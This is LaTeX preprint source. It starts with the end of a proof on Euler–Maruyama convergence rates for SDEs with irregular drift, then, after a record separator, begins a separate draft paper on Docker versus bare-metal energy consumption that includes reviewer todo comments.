{\it Step 1.} Setting $\psi_3=\varphi'$ and $\psi_4=b$, noting that $\varphi''=-2b \varphi'$, and using Lemma \ref{sobolev} we obtain that Lemma \ref{step-decomp_2} can be applied to estimate $\mathcal{W}_2$. Thus, there exists a constant $ c^{(qs)}_{\varphi', b, \kappa, T} >0$ such that
\begin{align*}\sup_{t \in [0,T]}
\mathcal{W}_2{(t)} \leq c^{(qs)}_{\varphi', b, \kappa, T} \left( 1 + \sum_{k=1}^{n-1 }t_{k}^{-1/2}(t_{k+1} -t_k) \right) \| \pi_n \|^{1+\kappa}.
\end{align*}
and using Lemma \ref{sum-int} it follows that for both $\pi_n^{equi}$ and $\pi_n^*$
\begin{align} \label{est-W2} \sup_{t \in [0,T]}
\mathcal{W}_2{(t)} \leq c^{(qs)}_{\varphi', b, \kappa, T} \left( 1 + 3 T^{1/2} \right) \| \pi_n \|^{1+\kappa}.
\end{align}
{\it Step 2.}
For the remaining term, note that
$$ |\varphi'b(\cdot+\xi)|_{\kappa} = |\varphi'b|_{\kappa} < \infty $$
by Corollary \ref{sobolev-2} and
\begin{align}\label{est-W1-1}
\mathcal{W}_1{(t)} & \le 8\|\varphi'b\|_{\infty}^2 ( t_1 +( t-{\underline{t}}) \mathbf{1}_{[t_1,T]}(t))^2
\\&\quad+ 2 \cdot \mathbf{1}_{[t_1,T]}(t)\cdot{\mathbb{E}}\!\left[ \left| \int_{t_1}^{{\underline{t}}} \left[(\varphi'b)(W_s+\xi)- (\varphi'b)(W_{{\underline{s}}}+\xi) \right] ds \right|^2 \right]
\\&\le 32\|\varphi'b\|_{\infty}^2 \| \pi_n \|^2 + 2\cdot \mathbf{1}_{[t_1,T]}(t)\cdot\ {\mathbb{E}}\!\left[ \left| \int_{t_1}^{{\underline{t}}} \left[(\varphi'b)(W_s+\xi)- (\varphi'b)(W_{{\underline{s}}}+\xi) \right] ds \right|^2 \right].
\end{align}
In the following, let ${\underline{t}}=t_m$ for some $m \in \{2, \ldots, n\}$ and denote
$$ I^{k,\ell}= \int_{t_k}^{t_{k+1}} \int_{t_\ell}^{t_{\ell+1}} \left( (\varphi'b)(W_s+\xi)-(\varphi'b)(W_{t_k}+\xi) \right) \left((\varphi'b)(W_t+\xi)-(\varphi'b)(W_{t_{\ell}}+\xi) \right) dt ds . $$
We have that
\begin{equation}\label{est-W1-2}
\begin{split}
& {\mathbb{E}}\!\left[ \left| \int_{t_1}^{{\underline{t}}} \left[(\varphi'b)(W_s+\xi)- (\varphi'b)(W_{{\underline{s}}}+\xi) \right] ds \right|^2 \right]
=2 \sum_{k=2}^{{m}-1} \sum_{\ell=1}^{k-1} {\mathbb{E}}[I^{k,\ell} ]+ \sum_{k=1}^{{m}-1}{\mathbb{E}}[I^{k,k} ]
.
\end{split}
\end{equation}
{\it Step 3.}
Using $2xy \leq x^2+y^2$ for $x,y\in{\mathbb{R}}$ we obtain that
\begin{align*}
\sum_{k=1}^{{m}-1}{\mathbb{E}}[I^{k,k} ]&=\sum_{k=1}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_k}^{t_{k+1}} {\mathbb{E}} \!\big[\left( (\varphi'b)(W_s+\xi)-(\varphi'b)(W_{t_k}+\xi) \right)
)\\ & \qquad \qquad \qquad \qquad \qquad \qquad \qquad \times
\left((\varphi'b)(W_t+\xi)-(\varphi'b)(W_{t_{k}}+\xi) \right) \big]dt ds \\
& \leq \sum_{k=1}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_k}^{t_{k+1}} {\mathbb{E}} \!\left[\ \left| (\varphi'b)(W_s+\xi)-(\varphi'b)(W_{t_k}+\xi) \right|^2\right] dt ds .
\end{align*}
For $s\ge t_k \ge t_1$, Lemma \ref{lem_1} shows that there exists a constant $c_\kappa>0$ such that
\begin{align*}
\sum_{k=1}^{{m}-1}{\mathbb{E}}[I^{k,k} ]&\leq
\sum_{k=1}^{{m}-1} \int_{t_k}^{t_{k+1}} \int_{t_k}^{t_{k+1}} c_{\kappa} |\varphi'b|_{\kappa}^2 (s-t_k)^{\kappa} t_{k}^{-1/2}dt ds \\
& \le
c_{\kappa} |\varphi'b|_{\kappa}^2 \| \pi_n \|^{1+\kappa} \sum_{k=1}^{n-1} t_{k}^{-1/2} (t_{k+1}-t_k)
.
\end{align*}
Now, Lemma \ref{sum-int} gives
\begin{align}\label{Ikk}
\sum_{k=1}^{{m}-1}{\mathbb{E}}[I^{k,k} ]&\leq
3c_{\kappa} T^{1/2} |\varphi'b|_{\kappa}^2 \| \pi_n \|^{1+\kappa}
\end{align}for both discretizations.
It remains to take care of the off-diagonal terms with $k- \ell \geq 1$.
\smallskip
{\it Step 4.}
Consider the case $m \geq 3$ and $\ell=k-1 \neq 0$. Again using $2xy \leq x^2+y^2$ for $x,y\in{\mathbb{R}}$, Lemma \ref{lem_1}, and Lemma \ref{sum-int} we get that
for both discretizations,
\begin{equation}\label{Ikk-1}
\begin{aligned}
2 \sum_{k=2}^{{m}-1} {\mathbb{E}}[I^{k,k-1} ]
&= 2 \sum_{k=2}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_{k-1}}^{t_{k}} {\mathbb{E}} \!\big[ \left( (\varphi'b)(W_s+\xi)-(\varphi'b)(W_{t_k}+\xi) \right)
\\ & \quad \qquad \qquad \qquad \qquad \qquad \qquad \times
\left((\varphi'b)(W_t+\xi)-(\varphi'b)(W_{t_{k-1}}+ \xi) \right) \big]dt ds
\\& \leq
\sum_{k=2}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_{k-1}}^{t_{k}} {\mathbb{E}} \!\left[|(\varphi'b)(W_s+\xi)-(\varphi'b)(W_{t_k}+\xi) |^2 \right]dt ds
\\& \qquad +
\sum_{k=2}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_{k-1}}^{t_{k}} {\mathbb{E}} \!\left[|(\varphi'b)(W_t+\xi)-(\varphi'b)(W_{t_{k-1}}+\xi) |^2 \right]dt ds
\\& \leq
\sum_{k=2}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_{k-1}}^{t_{k}} c_{\kappa} |\varphi'b|_{\kappa}^2 (s-t_k)^{\kappa} t_{k}^{-1/2} dt ds
\\ & \qquad + \sum_{k=2}^{{m}-1}
\int_{t_k}^{t_{k+1}} \int_{t_{k-1}}^{t_{k}} c_{\kappa} |\varphi'b|_{\kappa}^2 (t-t_{k-1})^{\kappa} t_{k-1}^{-1/2} dt ds
\\&\le
2 c_{\kappa} |\varphi'b|_{\kappa}^2 \| \pi_n \|^{1+\kappa} \sum_{k=1}^{n-1} t_{k}^{-1/2} (t_{k+1}-t_k)
\leq
6 c_{\kappa} T^{1/2} |\varphi'b|_{\kappa}^2 \| \pi_n\|^{1+\kappa} .
\end{aligned}
\end{equation}
\smallskip
{\it Step 5.}
Consider the case {$m \geq 4$,} assume $k \geq \ell +2$, and use \eqref{pts}. We get
\begin{align}\label{Ilk-100}
{\mathbb{E}}[ I^{k,\ell} | \mathcal{F}_0 ]&= \int_{\mathbb{R}} \int_{\mathbb{R}} (\varphi'b)(x+\xi)(\varphi'b)(y+\xi)
\\&\qquad \,\, \times
\int_{t_k}^{t_{k+1}} \int_{t_\ell}^{t_{\ell+1}} \left( p_{s,t}(x,y)-p_{t_k,t}(x,y)-p_{s,t_{\ell}}(x,y)+p_{t_k,t_{\ell}}(x,y)\right)dt ds \, dx dy.
\end{align}
First note that
\begin{align}\label{dens} p_{s,t}(x,y)-p_{t_k,t}(x,y)-p_{s,t_{\ell}}(x,y)+p_{t_k,t_{\ell}}(x,y) = \int_{t_k}^s \int_{t_{\ell}}^t \frac{\partial^2}{\partial u \partial v} p_{u,v}(x,y) \, dv du. \end{align}
Now observe that
\begin{align*}
& \int_{\mathbb{R}} \int_{\mathbb{R}} (\varphi'b)(x+\xi)^2 \left( p_{s,t}(x,y)-p_{t_k,t}(x,y)-p_{s,t_{\ell}}(x,y)+p_{t_k,t_{\ell}}(x,y)\right)dx dy
\\ & \quad = \left({\mathbb{E}}\!\left[|(\varphi' b)(W_s+\xi)|^2|{\cal F}_0\right]-{\mathbb{E}}\!\left[|(\varphi' b)(W_{t_k}+\xi)|^2|{\cal F}_0\right]\right)
\\&\quad \quad \quad \quad \quad \quad \quad \quad -
\left({\mathbb{E}}\!\left[|(\varphi' b)(W_s+\xi)|^2|{\cal F}_0\right]-{\mathbb{E}}\!\left[|(\varphi' b)(W_{t_k}+\xi)|^2|{\cal F}_0\right]\right) =0
\end{align*}
and analogously
\begin{align*}
\int_{\mathbb{R}} \int_{\mathbb{R}} (\varphi'b)(y+\xi)^2 \left( p_{s,t}(x,y)-p_{t_k,t}(x,y)-p_{s,t_{\ell}}(x,y)+p_{t_k,t_{\ell}}(x,y)\right) dx dy = 0.
\end{align*}
Combining this with \eqref{Ilk-100} and \eqref{dens} we obtain
\begin{align*}
{\mathbb{E}} [I^{k,\ell} | \mathcal{F}_0] & = -\frac{1}{2} \int_{\mathbb{R}} \int_{\mathbb{R}} |(\varphi'b)(x+\xi)-(\varphi'b)(y+\xi)|^2 \\ & \qquad \qquad \qquad \times \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}} \int_{t_k}^s \int_{t_{\ell}}^t \frac{\partial^2}{\partial u \partial v} p_{u,v}(x,y) \, dv du \, dt ds\, dx dy
\\ & = -\frac{1}{2} \int_{\mathbb{R}} \int_{\mathbb{R}} \frac{|(\varphi'b)(x+\xi)-(\varphi'b)(y+\xi)|^2}{|x-y|^{1+2\kappa}}
\\&\quad \quad \quad \quad \quad \quad \times
\int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}} \int_{t_k}^s \int_{t_{\ell}}^t |x-y|^{1+2\kappa} \frac{\partial^2}{\partial u \partial v} p_{u,v}(x,y) \, dv du \, dt ds\, dx dy
.
\end{align*}
Corollary \ref{sobolev-2} and Lemma \ref{lem_pab} ensure that there exists a constant ${c_{\kappa}^{(p)}}>0$ such that
\begin{align*}
{\mathbb{E}} [I^{k,\ell} | \mathcal{F}_0] & \leq \frac{{c_{\kappa}^{(p)}}}{2} |\varphi' b|_\kappa^2 \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}} \int_{t_k}^s \int_{t_{\ell}}^t
\left( |u-v|^{ \kappa -2}v^{-1/2} + |u-v|^{\kappa -1} v^{-3/2} \right)
dv du dt ds
\\&\le
\frac{{c_{\kappa}^{(p)}}}{2} |\varphi' b|_\kappa^2 (t_{k+1}-t_k)(t_{\ell+1}-t_\ell)\int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
\left( |u-v|^{ \kappa -2}v^{-1/2} + |u-v|^{\kappa -1} v^{-3/2} \right)
dv du.
\end{align*}
Hence,
\begin{equation}\label{Ilk-1}
\begin{aligned}
&2 \sum_{k=3}^{{m}-1} \sum_{\ell=1}^{k-2} {\mathbb{E}}[I^{k,\ell} ]
=
2 \sum_{k=3}^{{m}-1} \sum_{\ell=1}^{k-2} {\mathbb{E}}[ {\mathbb{E}}[I^{k,\ell} |{\cal F}_0] ]
\\&\qquad\le {c_{\kappa}^{(p)}} |\varphi' b|_\kappa^2 \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k)(t_{\ell+1}-t_\ell) \\ & \qquad \qquad \qquad \qquad \qquad \qquad \times \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
\left( |u-v|^{ \kappa -2}v^{-1/2} + |u-v|^{\kappa -1} v^{-3/2} \right)
dv du.
\end{aligned}
\end{equation}
Summarizing the above estimates \eqref{est-W2_prem}, \eqref{est-W2}, \eqref{est-W1-1}, \eqref{est-W1-2}, \eqref{Ikk}, \eqref{Ikk-1}, and \eqref{Ilk-1}, establishes for all $t\in[0,T]$ that
\begin{equation} \label{sum_est_before_disc}
\begin{aligned}
\mathcal{W}_t^{(\pi_n)} & \leq \left(2( 1+3T^{1/2} )c^{(qs)}_{\varphi', b, \kappa, T}+64 \|\varphi' b\|^2_\infty {\|\pi_n\|^{1-\kappa}}+ 36 c_\kappa T^{1/2}|\varphi'b|_\kappa^2\right) \| \pi_n \|^{1+\kappa} \\ & \quad + 4{c_{\kappa}^{(p)}} |\varphi'b|_\kappa^2 \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k)(t_{\ell+1}-t_\ell)
\\&\qquad \quad \times
\int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
\left( |u-v|^{ \kappa -2}v^{-1/2} + |u-v|^{\kappa -1} v^{-3/2} \right) dvdu.
\end{aligned}
\end{equation}
\smallskip
{\it Step 6, Case 1.}
First consider the non-equidistant discretization \eqref{net-ga}.
Observe that
\begin{align} \label{part_int}
2 (1-\kappa)\int_{t_{\ell}}^{t_{\ell+1}}
|u-v|^{\kappa -2} v^{-1/2} \, dv =
\int_{t_{\ell}}^{t_{\ell+1}}
|u-v|^{\kappa -1} v^{-3/2}
\, dv + 2|u-v|^{\kappa-1} v^{-1/2} \big{|}_{v=t_{\ell}}^{v=t_{\ell+1}}
\end{align} for $u \geq t_{\ell+1}$.
Thus we have
\begin{equation} \label{split_*}
\begin{aligned}
& \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k)(t_{\ell+1}-t_\ell) \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
\left( |u-v|^{ \kappa -2}v^{-1/2} + |u-v|^{\kappa -1} v^{-3/2} \right) dvdu \\& \quad = \left( 1+\frac{1}{2(1-\kappa)} \right) \mathcal{I}_n^{*,(1)} + \frac{1}{1-\kappa} \mathcal{I}_n^{*,(2)}
\end{aligned}
\end{equation}
with
\begin{align*}
\mathcal{I}_n^{*,(1)}& = \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k)(t_{\ell+1}-t_\ell) \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}} |u-v|^{\kappa -1} v^{-3/2} dvdu, \\ \mathcal{I}_n^{*,(2)}&= \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k)(t_{\ell+1}-t_\ell)
\int_{t_k}^{t_{k+1}}\left( |u-t_{\ell+1}|^{\kappa-1} t_{\ell+1}^{-1/2}- |u-t_{\ell}|^{\kappa-1} t_{\ell}^{-1/2} \right) \, du .
\end{align*}
Since $k\ge \ell+2$, $\kappa\in(0,1)$ and $x^{\kappa}-y^{\kappa} \leq |x-y|^{\kappa}$ for $x>y\geq 0$ we have
\begin{align*}
& \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
|u-v|^{\kappa -1} v^{-3/2}
\, dv du \\ & \qquad \leq \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
|u-t_{\ell+1}|^{\kappa -1} v^{-3/2} \,dv du \\ & \qquad = 2 \left( t_{\ell}^{-1/2} -t_{\ell+1}^{-1/2} \right) \int_{t_k}^{t_{k+1}}
|u-t_{\ell+1}|^{\kappa -1}du \\
& \qquad =
\frac{2}{\kappa} \left( t_{\ell}^{-1/2} -t_{\ell+1}^{-1/2} \right) \left( |t_{k+1}-t_{\ell+1}|^{\kappa }-
|t_k-t_{\ell+1}|^{\kappa }\right)
\\& \qquad \le
\frac{2}{\kappa} \left( t_{\ell}^{-1/2} -t_{\ell+1}^{-1/2} \right) |t_{k+1}-t_k|^{\kappa}
.
\end{align*}
Thus it follows
\begin{align*}
& \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k) (t_{\ell+1}-t_{\ell}) \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
|u-v|^{\kappa -1} v^{-3/2}
\, dv du \nonumber
\\ & \le \frac{2}{\kappa} \| \pi_n^*\|^{\kappa}
\sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k) (t_{\ell+1}-t_{\ell}) \left( t_{\ell}^{-1/2} -t_{\ell+1}^{-1/2} \right)
\\ & \le \frac{2T}{\kappa} \| \pi_n^*\|^{\kappa} \sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) \left( t_{\ell}^{-1/2} -t_{\ell+1}^{-1/2} \right)
\\ & = \frac{2T^{3/2}}{\kappa} \| \pi_n^*\|^{\kappa}
\sum_{\ell=1}^{n-3} \frac{2\ell+1}{n^2} \left( \frac{n}{\ell} - \frac{n}{\ell+1} \right)
\\ & = \frac{2T^{3/2}}{\kappa} \| \pi_n^*\|^{\kappa} \frac{1}{n} \sum_{\ell=1}^{n-3} \frac{2\ell +1}{\ell(\ell+1)}
\\ & \leq \frac{2^{2+\kappa}T^{3/2+\kappa}}{\kappa} \frac{1}{n^{1+ \kappa}} \sum_{\ell=1}^{n-3} \frac{1}{\ell},
\end{align*}
where we have used \eqref{net-ga}, \eqref{Delta-est}, and that $t_{\ell+1}-t_{\ell}=T(2\ell +1)n^{-2}$.
Since
$$ \sum_{\ell=1}^{n} \frac{1}{\ell} \leq 1+ \log(n), $$ we have
\begin{align} \label{Ilk-2}
\mathcal{I}_n^{*,(1)}
\leq \frac{2^{2+\kappa}T^{3/2+\kappa}}{\kappa} \frac{1+\log(n)}{n^{1+ \kappa}}.
\end{align}
So, the remaining term to estimate is
\begin{align*}
\mathcal{I}_n^{*,(2)}& = \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k) (t_{\ell+1}-t_{\ell}) \int_{t_k}^{t_{k+1}}\left( |u-t_{\ell+1}|^{\kappa-1} t_{\ell+1}^{-1/2}- |u-t_{\ell}|^{\kappa-1} t_{\ell}^{-1/2} \right) \, du .
\end{align*}
We get
\begin{align*}
\mathcal{I}_n^{*,(2)} & =
\sum_{\ell=1}^{n-3} \sum_{k=\ell+2}^{n-1} (t_{k+1}-t_k) (t_{\ell+1}-t_{\ell}) \int_{t_k}^{t_{k+1}}\left( |u-t_{\ell+1}|^{\kappa-1} t_{\ell+1}^{-1/2}- |u-t_{\ell}|^{\kappa-1} t_{\ell}^{-1/2} \right) \, du
\\ & \leq
\| \pi_n^*\| \sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) \int_{t_{\ell+2}}^{T}\left( |u-t_{\ell+1}|^{\kappa-1} t_{\ell+1}^{-1/2}- |u-t_{\ell}|^{\kappa-1} t_{\ell}^{-1/2} \right) \, du
\\ & =
\frac{ \| \pi_n^*\| }{\kappa}
\sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) \left[\left( |T-t_{\ell+1}|^{\kappa} -|t_{\ell+2}-t_{\ell+1}|^{\kappa} \right) t_{\ell+1}^{-1/2} - \left( |T-t_{\ell}|^{\kappa} -|t_{\ell+2}-t_{\ell}|^{\kappa} \right) t_{\ell}^{-1/2}\right].
\end{align*}
Using \eqref{net-ga}, \eqref{Delta-est}, and estimating negative terms from above by zero we obtain that
\begin{align*}
\mathcal{I}_n^{*,(2)}& \leq
\frac{ \| \pi_n^*\| }{\kappa}
\sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) \left[\left( |T-t_{\ell+1}|^{\kappa} - |T-t_{\ell}|^{\kappa} \right) t_{\ell+1}^{-1/2} + |t_{\ell+2}-t_{\ell}|^{\kappa} t_{\ell}^{-1/2}\right]
\\ & \leq \frac{ \| \pi_n^*\| }{\kappa}
\sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) |t_{\ell+2}-t_{\ell}|^{\kappa} t_{\ell}^{-1/2}
\\ & \leq \frac{ 2^{\kappa}\| \pi_n^*\|^{1+\kappa} }{\kappa}
\sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) t_{\ell}^{-1/2}
\\ & \leq \frac{ 2^{1+2\kappa} T^{1+\kappa} }{\kappa} \frac{1}{n^{1+\kappa}}
\sum_{\ell=1}^{n-3} (t_{\ell+1}-t_{\ell}) t_{\ell}^{-1/2}
.
\end{align*}
Finally, Lemma \ref{sum-int} establishes
\begin{align}\label{lastcase1} \mathcal{I}_n^{*,(2)} \leq \frac{ 2^{1+2\kappa}3 T^{3/2+\kappa} }{\kappa} \frac{1}{n^{1+\kappa}}.
\end{align}
Combining \eqref{sum_est_before_disc} with \eqref{split_*}, \eqref{Ilk-2}, and \eqref{lastcase1} finishes the analysis of $\mathcal{W}_t^{(\pi_n^*)}$ .\\
\medskip
{\it Step 6, Case 2.}
Now consider the equidistant discretization \eqref{equidisc}.
We make use of \eqref{part_int} in a different way than above. It holds that
\begin{equation} \label{split_equi}
\begin{aligned}
& \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} (t_{k+1}-t_k)(t_{\ell+1}-t_\ell) \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}}
\left( |u-v|^{ \kappa -2}v^{-1/2} + |u-v|^{\kappa -1} v^{-3/2} \right) dvdu \\& \quad = \left( 3-2\kappa \right) \mathcal{I}_n^{equi,(1)} -2 \mathcal{I}_n^{equi,(2)}
\end{aligned}
\end{equation}
with
\begin{align*}
\mathcal{I}_n^{equi,(1)}& = \frac{T^2}{n^2} \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} \int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}} |u-v|^{\kappa -2} v^{-1/2} dvdu, \\ \mathcal{I}_n^{equi,(2)}&= \frac{T^2}{n^2} \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2}
\int_{t_k}^{t_{k+1}}\left( |u-t_{\ell+1}|^{\kappa-1} t_{\ell+1}^{-1/2}- |u-t_{\ell}|^{\kappa-1} t_{\ell}^{-1/2} \right) \, du .
\end{align*}
Exploiting the telescoping sum in the second term, we get
\begin{align*}
\mathcal{I}_n^{equi,(2)} & = \frac{T^2}{n^2}
\sum_{k=3}^{n-1} \int_{t_k}^{t_{k+1}}\left( |u-t_{k-1}|^{\kappa-1} t_{k-1}^{-1/2}- |u-t_{1}|^{\kappa-1} t_{1}^{-1/2} \right) \, du
\\ & \geq - \frac{T^2}{n^2}
\int_{t_1}^{T} |u-t_{1}|^{\kappa-1} t_{1}^{-1/2} \, du
\\ & \geq - \frac{T^{3/2 + \kappa}}{\kappa} \frac{1}{n^{3/2}},
\end{align*}
since $t_1=T/n$.
It follows that
\begin{align}\label{est-equi-2}
-2 \mathcal{I}_n^{equi,(2)} \leq \frac{2T^{3/2 + \kappa}}{\kappa} \frac{1}{n^{3/2}}.
\end{align}
Moreover, we have
\begin{align*}
\int_{t_k}^{t_{k+1}} \int_{t_{\ell}}^{t_{\ell+1}} |u-v|^{\kappa -2} v^{-1/2} dvdu & \leq \frac{T}{n} \int_{t_{\ell}}^{t_{\ell+1}} |t_k-v|^{\kappa -2} v^{-1/2} dv \\ &\leq
\frac{T}{n}|t_k-t_{\ell+1}|^{\kappa -2} \int_{t_{\ell}}^{t_{\ell+1}} v^{-1/2} dv
\\ &= \frac{T^{\kappa-1}}{n^{\kappa-1}} |k-\ell-1|^{\kappa-2} \int_{t_{\ell}}^{t_{\ell+1}} v^{-1/2} dv .
\end{align*}
Thus, we end up with
\begin{equation}\label{lastcase2}
\begin{aligned}
\mathcal{I}_n^{equi,(1)}& \leq \frac{T^{1+\kappa}}{n^{1+\kappa}} \sum_{k=3}^{n-1} \sum_{\ell=1}^{k-2} |k-\ell-1|^{\kappa-2} \int_{t_{\ell}}^{t_{\ell+1}} v^{-1/2} dv
\\ & = \frac{T^{1+\kappa}}{n^{1+\kappa}} \sum_{\ell=1}^{n-3} \int_{t_{\ell}}^{t_{\ell+1}} v^{-1/2} dv \sum_{k=\ell+2}^{n-1} |k-\ell-1|^{\kappa-2}
\\ & \leq \frac{T^{1+\kappa}}{n^{1+\kappa}} \int_{0}^{T} v^{-1/2} dv \, \sum_{j=1}^{n-3} j^{\kappa-2}
\\ & \leq \frac{2T^{3/2+\kappa}}{n^{1+\kappa}} \sum_{j=1}^{n} j^{\kappa-2},
\end{aligned}
\end{equation}
where $\kappa \in (0,1)$ implies
$ \sum_{j=1}^{\infty} j^{\kappa-2}< \infty$.
Combining \eqref{sum_est_before_disc} with \eqref{split_equi}, \eqref{est-equi-2}, and \eqref{lastcase2} finishes the analysis of $\mathcal{W}_t^{(\pi_n^{equi})}$ and the proof of this theorem.
\end{proof}
\begin{remark} If the initial condition $\xi$ has additionally a bounded Lebesgue density, then
\citet[Theorem 8]{altmeyer2017} yields for the term $\mathcal{W}_1(T) $ in the proof of Theorem \ref{main_2}
the convergence order $(1+\kappa)/2$ also for equidistant discretizations, i.e.~there is no cut-off of the convergence order for $\kappa \in [1/2,1)$. Due to the independence of $\xi$ and $W$, the assumption of a bounded Lebesgue density $ \varsigma$ for $\mathbb{P}^{\xi}$ leads to a smoothing effect in the integration problem; roughly spoken, $(\varphi'b)(\cdot+\xi)$ can be replaced by the convolution $ \int_{\mathbb{R}} (\varphi'b)(\cdot + z) \varsigma(z) dz$.
\end{remark}
We finally obtain the following statement for the convergence rate of the EM schemes $x^{(\pi_n^{equi})}$ and $x^{(\pi_n^{*})}$.
\begin{corollary}\label{cor_em}
Let Assumptions \ref{ass} and \ref{ass_b} hold. Then, for all $\epsilon\in(0,1)$ there exist constants $C^{(EM),equi}_{\epsilon, \mu,T,\kappa}>0$ and $C^{(EM),*}_{\epsilon, \mu,T,\kappa}>0$ such that
$$ \sup_{t \in [0,T]} {\mathbb{E}}\!\left[ \left|X_t-x_t^{(\pi_n^{equi})} \right|^2\right] \leq C^{(EM),equi}_{\epsilon, \mu,T,\kappa} \cdot \left( \frac{1}{n^{1+\kappa-\epsilon}} + \frac{1}{n^{3/2-\epsilon}} \right)$$
and
$$ \sup_{t \in [0,T]} {\mathbb{E}}\!\left[ \left|X_t-x_t^{(\pi_n^{*})}\right|^2\right] \leq C^{(EM),*}_{\epsilon, \mu,T,\kappa} \cdot \frac{1}{n^{1+\kappa-\epsilon}}.$$
\end{corollary}
\begin{proof}
Theorems \ref{main_1} and \ref{main_2} yield that there exist constants $C^{(R)}_{\varepsilon,a,b,T},C^{(Q),*}_{b,T,\kappa}>0$ such that
\begin{align*}
\sup_{t \in [0,T]} {\mathbb{E}}\!\left[ \left|X_t-x_t^{(\pi_n^{*})}\right|^2\right] &\leq C^{(R)}_{\varepsilon, a,b,T} \left[\|\pi_n^*\|^2 +\left(C^{(Q),*}_{b,T,\kappa} \frac{1+\log(n)}{n^{1+\kappa}}\right)^{1-\varepsilon} \right]
\\&\le
C^{(R)}_{\varepsilon, a,b,T} \left[\frac{4T^2}{n^2} +\left(C^{(Q),*}_{b,T,\kappa} \frac{1+\log(n)}{n^{1+\kappa}}\right)^{1-\varepsilon} \right]
,
\end{align*}
where we used \eqref{Delta-est}.
The estimate for the equidistant discretization is obtained analogously.
\end{proof}
\section*{Acknowledgements}
The authors are very thankful to the referees for their insightful comments and remarks.
M.~Sz\"olgyenyi has been supported by the AXA Research Fund grant `Numerical Methods for Stochastic Differential Equations with Irregular Coefficients with Applications in Risk Theory and Mathematical Finance'.
A part of this article was written while M.~Sz\"olgyenyi was affiliated with the Seminar for Applied Mathematics and the RiskLab Switzerland, ETH Zurich, R\"amistrasse 101, 8092 Zurich, Switzerland.
|
1,477,468,750,063 | arxiv | \subsection*{Abstract}
\input{sections/abstract.tex}
\paragraph{Keywords:} virtualization, docker, containerization, energy
consumption, cloud computing, microservice.
\todo{What's the size of the containers you use? Especially when you have multiple containers per machine? Did you use cgroups to limit the resources? If not, are threads at least pinned to cores? If not that's an obvious factor to the performance overhead. Please clarify.}
\todo{Similarly for the bare metal experiments. How many resources do you use? Are thread pinned to cores? If not there will be enough interference in your system that the measurements may not be meaningful.}
\todo{It's great that you use statistical analysis for your study, but I'm not sure how to interpret the energy analysis. You mention that for idling systems, using Docker consumes a lot more energy than a idling baremetal system. Doesn't that just mean the container should be terminated once it's idling? Isn't that the default operation today, short-lived, easy to setup/take-down containers? How do you calculate execution time in the baremetal care? Does execution time end once there is zero load? I assume for the container it continues while the container exists. If so, isn't that an unfair comparison? Second, looking at the results there isn't even a large difference to begin with. Is 2--3\% really that important here, especially when certain configuration parameters are set in different ways between experiments?}
\todo{Looking at your power measurements, it appears that the only difference in energy comes from performance. However, any overheads of Docker in performance are already known. I'm struggling to pinpoint the new contribution given these results.}
\todo{Like you mention, Docker has a number of configuration parameters that one would set accordingly, especially when using thousands of containers. Given this, you need to clarify the conclusions one can draw from your study.}
\input{sections/introduction.tex}
\input{sections/related_work.tex}
\input{sections/methodology.tex}
\input{sections/case_study.tex}
\input{sections/results.tex}
\input{sections/discussion.tex}
\input{sections/threats_to_validity.tex}
\input{sections/conclusion.tex}
\FloatBarrier%
\pagebreak[3]
\bibliographystyle{acm}
\section{Case Study}
\label{sec:case-study}
Three open-source software projects were selected to test the difference in
energy consumption of running the app on bare-metal Linux versus within a
Docker-managed container. Each of the applications stresses different
hardware resources, and together provides performance and energy insights on
which types of applications are most suited for Docker. WordPress with MySQL
represents an extremely popular website solution, while Redis and PostgreSQL
are common database solutions, with different use cases. Considering the
popularity and breadth of applications selected as case studies, the results
give relevant insight into the effect of Docker on energy consumption when
compared with bare-metal installs.
\subsection{Idle}
\label{sec:idle}
As a baseline, we were interested in any possible overhead of running the
Docker service without placing any load on the system. In order to estimate
how much energy is expected to be used at idle, the system was left to idle
for exactly 10 minutes, during which power usage was recorded. In order to be
consistent with the methodology used for the following case studies, we inserted
an additional 2 minute of idle time before each test run during which power
samples were not recorded. This test was performed 40 times sequentially, and
can be considered a baseline for bare-metal Linux and Docker.
